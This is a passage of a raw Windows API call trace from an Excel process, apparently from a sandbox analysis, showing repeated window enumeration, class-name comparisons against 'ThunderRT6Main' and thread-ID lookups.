[0128.557] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0128.557] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.557] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.557] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0128.557] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0128.557] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0128.557] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0128.557] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.557] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0128.557] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0128.557] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0128.557] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0128.557] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0128.557] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0128.557] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.557] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0128.557] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0128.557] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0128.557] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0128.557] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0128.557] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0128.557] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.557] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0128.557] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0128.557] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0128.557] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0128.557] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0128.557] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0128.557] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.557] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0128.557] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0128.557] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0128.557] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0128.557] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0128.557] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0128.558] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0128.558] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0128.558] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0128.558] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0128.558] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.558] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0128.558] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0128.558] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0128.558] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0128.558] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0128.558] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0128.558] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.558] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.558] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.559] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0128.559] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0128.559] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0128.560] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f7a1b0 [0128.560] IMalloc:Free (This=0x7fefecb5380, pv=0x4f7a1b0) [0131.448] GetAsyncKeyState (vKey=27) returned 0 [0131.448] GetCurrentThreadId () returned 0xbdc [0131.448] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0131.448] GetDesktopWindow () returned 0x10010 [0131.449] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.449] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.449] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.449] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0131.450] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0131.450] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0131.450] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.450] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.450] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.450] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.451] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.451] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.451] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.451] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.451] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.452] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.452] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.452] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0131.452] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.452] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.453] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.453] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0131.453] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0131.453] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0131.453] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.453] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0131.453] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0131.453] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0131.453] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.453] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0131.453] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0131.453] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0131.453] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.453] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0131.453] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0131.453] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0131.454] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.454] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0131.454] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0131.454] IsWindowEnabled (hWnd=0x20360) returned 0 [0131.454] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0131.454] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0131.454] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0131.454] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.454] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0131.454] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0131.454] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.454] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0131.454] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0131.454] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0131.455] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.455] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0131.455] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0131.455] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0131.455] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.455] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0131.455] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0131.455] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0131.455] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.455] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0131.455] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0131.455] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0131.455] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0131.455] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.456] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0131.456] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0131.456] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0131.456] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.456] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0131.456] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0131.456] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.456] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0131.456] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.456] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0131.457] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.457] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.457] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.457] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.457] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.458] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.458] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.458] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0131.458] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0131.458] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0131.458] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0131.459] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0131.459] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0131.459] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0131.459] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0131.459] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0131.460] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0131.460] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0131.460] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0131.460] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0131.460] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0131.460] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0131.461] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0131.461] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0131.461] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0131.461] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0131.461] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0131.462] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0131.462] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0131.462] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0131.462] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0131.462] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0131.463] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0131.463] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0131.463] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0131.463] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0131.463] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0131.463] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0131.464] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0131.464] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0131.464] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0131.464] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0131.464] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0131.465] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0131.465] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0131.465] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0131.465] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0131.465] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0131.465] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0131.466] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0131.466] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0131.466] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0131.466] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0131.466] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0131.467] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0131.467] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0131.467] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0131.467] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0131.467] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0131.468] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0131.468] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0131.468] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0131.468] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0131.468] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0131.468] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0131.469] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0131.469] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0131.469] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0131.469] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0131.469] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0131.469] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0131.470] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0131.470] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0131.470] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0131.470] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0131.470] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0131.471] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0131.471] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0131.471] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0131.471] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0131.471] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0131.471] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0131.472] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0131.472] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0131.472] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0131.472] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0131.472] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0131.473] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0131.473] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0131.473] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0131.473] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0131.473] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0131.473] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0131.474] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0131.474] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0131.474] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0131.474] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0131.474] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0131.474] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0131.475] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0131.475] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0131.475] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0131.475] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0131.475] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0131.475] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0131.476] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0131.476] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0131.476] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0131.476] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0131.476] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0131.477] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0131.477] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0131.477] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0131.477] GetWindowThreadProcessId (in: 